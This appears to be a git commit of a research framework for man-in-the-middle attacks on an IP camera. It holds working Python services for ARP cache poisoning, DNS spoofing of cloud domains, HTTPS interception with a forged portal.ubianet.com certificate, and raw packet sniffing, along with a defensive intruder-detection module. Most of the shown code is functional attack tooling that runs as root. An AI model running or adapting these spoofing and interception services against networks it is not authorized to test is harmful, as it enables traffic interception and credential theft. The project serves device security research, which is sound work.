Initial commit — SetecSuite Camera MITM Framework

Original tooling from the Camhak research project (camera teardown of a
rebranded UBIA / Javiscam IP camera). PyQt6 GUI on top of a curses TUI on
top of a service controller; per-service start/stop, intruder detection,
protocol fingerprinting, OAM HMAC signing, CVE verifiers, OTA bucket
probe, firmware fetcher, fuzzer, packet injection.

Tabs: Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs,
Config, Help. Real-time per-packet protocol detection, conntrack-based
original-destination lookup, log rotation at 1 GiB.

See SECURITY_PAPER.md for the full writeup, site/index.html for the
public report, README.md for usage. Run with:
    sudo /usr/bin/python3 gui.py

Co-authored by Setec Labs.
This commit is contained in:
sssnake
2026-04-09 08:14:18 -07:00
commit 800052acc2
38 changed files with 7148 additions and 0 deletions

0
services/__init__.py Normal file
View File

89
services/arp_spoof.py Normal file
View File

@@ -0,0 +1,89 @@
"""ARP spoofing service — positions us as MITM between camera and router"""
import socket
import struct
import os
import time
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO
def get_mac(ip):
try:
out = os.popen(f"ip neigh show {ip}").read()
for line in out.strip().split("\n"):
parts = line.split()
if "lladdr" in parts:
return parts[parts.index("lladdr") + 1]
except:
pass
return None
def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip):
src_mac = bytes.fromhex(src_mac_str.replace(":", ""))
dst_mac = bytes.fromhex(dst_mac_str.replace(":", ""))
eth = dst_mac + src_mac + b"\x08\x06"
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
arp += src_mac + socket.inet_aton(src_ip)
arp += dst_mac + socket.inet_aton(dst_ip)
return eth + arp
def run(cfg, flags, running_check):
iface = cfg["iface"]
camera_ip = cfg["camera_ip"]
router_ip = cfg["router_ip"]
try:
with open(f"/sys/class/net/{iface}/address") as f:
our_mac = f.read().strip()
except:
log("ARP: cannot read our MAC", C_ERROR)
return
os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1")
os.system(f"ping -c 1 -W 1 {camera_ip} >/dev/null 2>&1")
time.sleep(1)
router_mac = get_mac(router_ip)
camera_mac = get_mac(camera_ip) or cfg["camera_mac"]
if not router_mac:
log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR)
return
log(f"ARP: us={our_mac} router={router_mac} camera={camera_mac}", C_SUCCESS)
try:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
sock.bind((iface, 0))
except PermissionError:
log("ARP: need root for raw sockets", C_ERROR)
return
flags["arp"] = True
pkt_to_cam = build_arp_reply(our_mac, camera_mac, router_ip, camera_ip)
pkt_to_rtr = build_arp_reply(our_mac, router_mac, camera_ip, router_ip)
while running_check():
try:
sock.send(pkt_to_cam)
sock.send(pkt_to_rtr)
except:
pass
time.sleep(2)
# Restore
log("ARP: restoring...", C_INFO)
r1 = build_arp_reply(router_mac, camera_mac, router_ip, camera_ip)
r2 = build_arp_reply(camera_mac, router_mac, camera_ip, router_ip)
for _ in range(5):
try:
sock.send(r1)
sock.send(r2)
except:
pass
time.sleep(0.3)
sock.close()
flags["arp"] = False
log("ARP: restored", C_INFO)

85
services/dns_spoof.py Normal file
View File

@@ -0,0 +1,85 @@
"""DNS interception — spoofs cloud domains to point at us"""
import socket
import struct
from utils.log import log, C_SUCCESS, C_IMPORTANT, C_ERROR
SPOOF_DOMAINS = [b"ubianet.com", b"aliyuncs.com", b"amazonaws.com", b"myqcloud.com"]
def parse_dns_name(data, offset):
labels = []
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
if (length & 0xC0) == 0xC0:
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
labels.append(parse_dns_name(data, ptr)[0])
offset += 2
break
offset += 1
labels.append(data[offset:offset + length])
offset += length
return b".".join(labels), offset
def build_dns_response(query, ip):
resp = bytearray(query[:2])
resp += b"\x81\x80"
resp += query[4:6]
resp += b"\x00\x01\x00\x00\x00\x00"
resp += query[12:]
resp += b"\xc0\x0c\x00\x01\x00\x01"
resp += struct.pack("!I", 60)
resp += b"\x00\x04"
resp += socket.inet_aton(ip)
return bytes(resp)
def run(cfg, flags, running_check):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(1)
try:
sock.bind(("0.0.0.0", 53))
except OSError as e:
log(f"DNS: bind :53 failed: {e}", C_ERROR)
return
flags["dns"] = True
log("DNS: listening on :53", C_SUCCESS)
while running_check():
try:
data, addr = sock.recvfrom(1024)
except socket.timeout:
continue
except:
break
if len(data) < 12:
continue
name, _ = parse_dns_name(data, 12)
name_str = name.decode("utf-8", errors="replace")
should_spoof = (addr[0] == cfg["camera_ip"] and
any(d in name.lower() for d in SPOOF_DOMAINS))
if should_spoof:
resp = build_dns_response(data, cfg["our_ip"])
sock.sendto(resp, addr)
log(f"DNS: {name_str} -> SPOOFED", C_IMPORTANT)
else:
fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
fwd.settimeout(3)
try:
fwd.sendto(data, (cfg["router_ip"], 53))
resp, _ = fwd.recvfrom(4096)
sock.sendto(resp, addr)
except:
pass
fwd.close()
sock.close()
flags["dns"] = False

179
services/http_server.py Normal file
View File

@@ -0,0 +1,179 @@
"""HTTP and HTTPS MITM servers — intercept camera cloud traffic"""
import socket
import ssl
import os
import json
import threading
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
from utils import proto as proto_id
def _handle_http(conn, addr, cfg):
try:
conn.settimeout(5)
data = conn.recv(8192)
if data:
text = data.decode("utf-8", errors="replace")
lines = text.split("\r\n")
log(f"HTTP {addr[0]}: {lines[0]}", C_TRAFFIC)
for l in lines[1:6]:
if l:
log(f" {l}", 0)
save_raw(cfg["log_dir"], f"http_{addr[0]}", data)
conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK")
except:
pass
finally:
conn.close()
def _handle_https(conn, addr, cfg):
try:
conn.settimeout(5)
data = b""
while True:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
if b"\r\n\r\n" in data:
# Check Content-Length for body
cl = 0
for line in data.split(b"\r\n"):
if line.lower().startswith(b"content-length:"):
cl = int(line.split(b":")[1].strip())
break
hdr_end = data.index(b"\r\n\r\n") + 4
if len(data) >= hdr_end + cl:
break
if data:
try:
hdr_end = data.index(b"\r\n\r\n")
headers = data[:hdr_end].decode("utf-8", errors="replace")
body = data[hdr_end + 4:]
lines = headers.split("\r\n")
log(f"HTTPS {addr[0]}: {lines[0]}", C_TRAFFIC)
for l in lines[1:8]:
if l:
log(f" {l}", 0)
if body:
try:
parsed = json.loads(body)
log(f" BODY: {json.dumps(parsed)}", C_IMPORTANT)
except:
log(f" BODY ({len(body)}B):", 0)
log(hexdump(body), 0)
except:
log(f"HTTPS raw {addr[0]}: {len(data)}B", C_TRAFFIC)
log(hexdump(data), 0)
save_raw(cfg["log_dir"], f"https_{addr[0]}", data)
conn.sendall(b'HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n'
b'Content-Length: 27\r\n\r\n{"code":0,"msg":"success"}')
except:
pass
finally:
conn.close()
def _generate_cert(log_dir):
cert = f"{log_dir}/mitm_cert.pem"
key = f"{log_dir}/mitm_key.pem"
if not os.path.exists(cert):
os.makedirs(log_dir, exist_ok=True)
os.system(f'openssl req -x509 -newkey rsa:2048 -keyout {key} '
f'-out {cert} -days 365 -nodes '
f'-subj "/CN=portal.ubianet.com" 2>/dev/null')
return cert, key
def run_http(cfg, flags, running_check):
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.settimeout(1)
try:
srv.bind(("0.0.0.0", 80))
except OSError as e:
log(f"HTTP: bind :80 failed: {e}", C_ERROR)
return
srv.listen(5)
flags["http"] = True
log("HTTP: listening on :80", C_SUCCESS)
while running_check():
try:
conn, addr = srv.accept()
threading.Thread(target=_handle_http, args=(conn, addr, cfg), daemon=True).start()
except socket.timeout:
continue
except:
break
srv.close()
flags["http"] = False
def run_https(cfg, flags, running_check):
cert, key = _generate_cert(cfg["log_dir"])
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(cert, key)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.settimeout(1)
try:
srv.bind(("0.0.0.0", 443))
except OSError as e:
log(f"HTTPS: bind :443 failed: {e}", C_ERROR)
return
srv.listen(5)
flags["https"] = True
log("HTTPS: listening on :443", C_SUCCESS)
while running_check():
try:
conn, addr = srv.accept()
# Peek at first bytes to detect TLS vs raw protocol
try:
conn.settimeout(3)
peek = conn.recv(8, socket.MSG_PEEK)
except Exception as e:
log(f"443 peek fail {addr[0]}: {e}", C_ERROR)
conn.close()
continue
conn.settimeout(None)
# TLS ClientHello starts with 0x16 0x03 0x0[0-4]
is_tls = len(peek) >= 3 and peek[0] == 0x16 and peek[1] == 0x03
if is_tls:
try:
ssl_conn = ctx.wrap_socket(conn, server_side=True)
threading.Thread(target=_handle_https, args=(ssl_conn, addr, cfg),
daemon=True).start()
except ssl.SSLError as e:
log(f"SSL fail {addr[0]}: {e} (first8={peek.hex()})", C_ERROR)
save_raw(cfg["log_dir"], f"raw_tls_fail_{addr[0]}", peek)
conn.close()
else:
# Non-TLS protocol on :443 — capture raw
pname = proto_id.detect(peek)
proto_id.record(pname)
log(f"NON-TLS on :443 from {addr[0]} proto={pname} first8={peek.hex()}", C_IMPORTANT)
try:
conn.settimeout(2)
full = conn.recv(4096)
if full:
log(f" Raw ({len(full)}B):", 0)
log(hexdump(full[:256]), 0)
save_raw(cfg["log_dir"], f"raw_443_{addr[0]}", full)
except Exception as e:
log(f" recv fail: {e}", C_ERROR)
conn.close()
except socket.timeout:
continue
except:
break
srv.close()
flags["https"] = False

187
services/intruder_watch.py Normal file
View File

@@ -0,0 +1,187 @@
"""
Intruder watch — detects unauthorized parties interacting with the camera.
Watches the raw socket for:
1. Any LAN host that isn't us, the router, or the camera, exchanging traffic
with the camera.
2. ARP replies for the camera's IP coming from a MAC that isn't the camera —
i.e. someone else is ARP-spoofing.
3. Outbound packets from the camera to destinations not on the known cloud
whitelist (suggests new C2 / unknown firmware behavior).
4. New TCP/UDP destination ports the camera initiates that we haven't seen.
Findings are pushed to utils.log AND to a shared `intruders` deque the GUI
reads from for the Intruders tab.
"""
import socket
import struct
import threading
import time
from collections import deque
from datetime import datetime
from utils.log import log, C_ERROR, C_SUCCESS, C_IMPORTANT, C_TRAFFIC
# Shared state the GUI inspects
intruders = deque(maxlen=500)
_intruder_lock = threading.Lock()
# Known cloud destinations the camera is *expected* to talk to (from findings.md).
# Anything outside this set is suspicious.
KNOWN_CLOUD_NETS = [
# Tencent Cloud (P2P relay, COS)
("43.0.0.0", 8),
("119.28.0.0", 14),
("129.226.0.0", 15),
("150.109.0.0", 16),
# Alibaba Cloud (OSS, OTA)
("8.208.0.0", 12),
("47.74.0.0", 15),
("47.88.0.0", 13),
("118.178.0.0", 15),
# AWS (NTP buckets)
("3.64.0.0", 12),
("54.93.0.0", 16),
# Akamai (connectivity check, microsoft etc.)
("23.0.0.0", 8),
("104.64.0.0", 10),
# Microsoft / Apple / Amazon connectivity checks
("17.0.0.0", 8), # Apple
("13.64.0.0", 11), # Microsoft
("52.0.0.0", 8), # Amazon
# qq.com (Tencent connectivity probe)
("182.254.0.0", 16),
]
def _ip_to_int(ip):
return struct.unpack("!I", socket.inet_aton(ip))[0]
def _in_net(ip, base, prefix):
ip_i = _ip_to_int(ip)
base_i = _ip_to_int(base)
mask = (0xFFFFFFFF << (32 - prefix)) & 0xFFFFFFFF
return (ip_i & mask) == (base_i & mask)
def _is_known_cloud(ip):
for base, prefix in KNOWN_CLOUD_NETS:
if _in_net(ip, base, prefix):
return True
return False
def _is_lan(ip):
return ip.startswith("192.168.") or ip.startswith("10.") or ip.startswith("172.")
def _record(kind, src, dst, detail):
ts = datetime.now().strftime("%H:%M:%S")
entry = {"ts": ts, "kind": kind, "src": src, "dst": dst, "detail": detail}
with _intruder_lock:
intruders.append(entry)
log(f"INTRUDER [{kind}] {src} -> {dst} {detail}", C_IMPORTANT)
def get_intruders():
with _intruder_lock:
return list(intruders)
def clear_intruders():
with _intruder_lock:
intruders.clear()
def run(cfg, flags, running_check):
try:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
sock.bind((cfg["iface"], 0))
sock.settimeout(1)
except Exception as e:
log(f"IntruderWatch: cannot open raw socket: {e}", C_ERROR)
return
flags["intruder"] = True
log("IntruderWatch: armed", C_SUCCESS)
cam_ip = cfg["camera_ip"]
cam_mac = cfg["camera_mac"].lower()
our_ip = cfg["our_ip"]
router_ip = cfg["router_ip"]
seen_lan_peers = set() # other LAN hosts that contacted the camera
seen_outbound = set() # (dst_ip, proto, port) tuples
seen_arp_macs = set() # MACs claiming to be the camera
while running_check():
try:
pkt, _ = sock.recvfrom(65535)
except socket.timeout:
continue
except Exception:
break
if len(pkt) < 14:
continue
eth_proto = struct.unpack("!H", pkt[12:14])[0]
eth_src = ":".join(f"{b:02x}" for b in pkt[6:12])
eth_dst = ":".join(f"{b:02x}" for b in pkt[0:6])
# ── ARP (0x0806) ────────────────────────────────────────────
if eth_proto == 0x0806 and len(pkt) >= 42:
arp = pkt[14:42]
opcode = struct.unpack("!H", arp[6:8])[0]
sender_mac = ":".join(f"{b:02x}" for b in arp[8:14])
sender_ip = socket.inet_ntoa(arp[14:18])
if opcode == 2 and sender_ip == cam_ip and sender_mac != cam_mac:
key = sender_mac
if key not in seen_arp_macs:
seen_arp_macs.add(key)
_record("ARP_SPOOF", sender_mac, cam_ip,
f"someone else claims to be camera (real={cam_mac})")
continue
# ── IPv4 (0x0800) ───────────────────────────────────────────
if eth_proto != 0x0800 or len(pkt) < 34:
continue
ip_hdr = pkt[14:34]
ihl = (ip_hdr[0] & 0x0F) * 4
proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
# Camera is involved?
if cam_ip not in (src_ip, dst_ip):
continue
peer_ip = dst_ip if src_ip == cam_ip else src_ip
t_start = 14 + ihl
sp = dp = 0
if proto in (6, 17) and len(pkt) >= t_start + 4:
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
# ── Rule 1: LAN peer that isn't us/router/camera ────────────
if _is_lan(peer_ip) and peer_ip not in (our_ip, router_ip, cam_ip):
if peer_ip not in seen_lan_peers:
seen_lan_peers.add(peer_ip)
_record("LAN_PEER", peer_ip, cam_ip,
f"unknown LAN host talking to camera (proto={proto} port={dp or sp})")
# ── Rule 2: outbound to non-whitelisted internet ────────────
if src_ip == cam_ip and not _is_lan(peer_ip):
if not _is_known_cloud(peer_ip):
key = (peer_ip, proto, dp)
if key not in seen_outbound:
seen_outbound.add(key)
_record("UNKNOWN_DST", cam_ip, peer_ip,
f"camera contacting unlisted host (proto={proto} dport={dp})")
sock.close()
flags["intruder"] = False
log("IntruderWatch: stopped", C_SUCCESS)

106
services/sniffer.py Normal file
View File

@@ -0,0 +1,106 @@
"""Raw packet sniffer — catches all camera traffic headed to us on any port"""
import socket
import struct
import subprocess
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
from utils import proto as proto_id
_orig_dst_cache = {}
def _lookup_orig_dst(src_ip, src_port, proto):
key = (src_ip, src_port, proto)
if key in _orig_dst_cache:
return _orig_dst_cache[key]
result = None
try:
out = subprocess.run(
["conntrack", "-L", "-s", src_ip, "-p", proto, "--sport", str(src_port)],
capture_output=True, text=True, timeout=2,
).stdout
for line in out.splitlines():
parts = line.split()
d_ip = None
d_port = None
for p in parts:
if p.startswith("dst=") and d_ip is None:
d_ip = p[4:]
elif p.startswith("dport=") and d_port is None:
d_port = p[6:]
if d_ip and d_port:
break
if d_ip and d_port:
result = f"{d_ip}:{d_port}"
break
except Exception:
result = None
_orig_dst_cache[key] = result
return result
def run(cfg, flags, running_check):
try:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
sock.bind((cfg["iface"], 0))
sock.settimeout(1)
except:
log("Sniffer: cannot open raw socket", C_ERROR)
return
flags["sniffer"] = True
log("Sniffer: watching all camera packets", C_SUCCESS)
seen = set()
while running_check():
try:
pkt, _ = sock.recvfrom(65535)
except socket.timeout:
continue
except:
break
if len(pkt) < 34:
continue
eth_proto = struct.unpack("!H", pkt[12:14])[0]
if eth_proto != 0x0800:
continue
ip_hdr = pkt[14:34]
ihl = (ip_hdr[0] & 0x0F) * 4
proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if src_ip != cfg["camera_ip"] or dst_ip != cfg["our_ip"]:
continue
t_start = 14 + ihl
if proto == 17 and len(pkt) >= t_start + 8:
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
if dp == 53:
continue
payload = pkt[t_start + 8:]
key = f"udp:{dp}"
if key not in seen:
seen.add(key)
log(f"SNIFF: new UDP port {sp}->{dp}", C_IMPORTANT)
orig = _lookup_orig_dst(src_ip, sp, "udp") or "?"
pname = proto_id.detect(payload)
proto_id.record(pname)
log(f"SNIFF: UDP {cfg['camera_ip']}:{sp} -> {dst_ip}:{dp} (orig={orig}) [{pname} {payload[:6].hex()}] ({len(payload)}B)", C_TRAFFIC)
log(hexdump(payload), 0)
save_raw(cfg["log_dir"], f"sniff_udp{dp}_{sp}", payload)
elif proto == 6 and len(pkt) >= t_start + 4:
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
key = f"tcp:{dp}"
if key not in seen:
seen.add(key)
orig = _lookup_orig_dst(src_ip, sp, "tcp") or "?"
log(f"SNIFF: new TCP {cfg['camera_ip']}:{sp} -> {dst_ip}:{dp} (orig={orig})", C_IMPORTANT)
sock.close()
flags["sniffer"] = False

38
services/udp_listener.py Normal file
View File

@@ -0,0 +1,38 @@
"""UDP listener — captures P2P master service and other UDP traffic"""
import socket
import struct
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC
def run(port, cfg, flags, running_check):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(1)
try:
sock.bind(("0.0.0.0", port))
except OSError as e:
log(f"UDP:{port} bind failed: {e}", C_ERROR)
return
flags[f"udp{port}"] = True
log(f"UDP: listening on :{port}", C_SUCCESS)
while running_check():
try:
data, addr = sock.recvfrom(4096)
except socket.timeout:
continue
except:
break
log(f"UDP:{port} from {addr[0]}:{addr[1]} ({len(data)}B)", C_TRAFFIC)
log(hexdump(data), 0)
save_raw(cfg["log_dir"], f"udp{port}_{addr[0]}_{addr[1]}", data)
if len(data) >= 4:
magic = struct.unpack("!I", data[:4])[0]
log(f" magic: 0x{magic:08x}", 0)
sock.close()
flags[f"udp{port}"] = False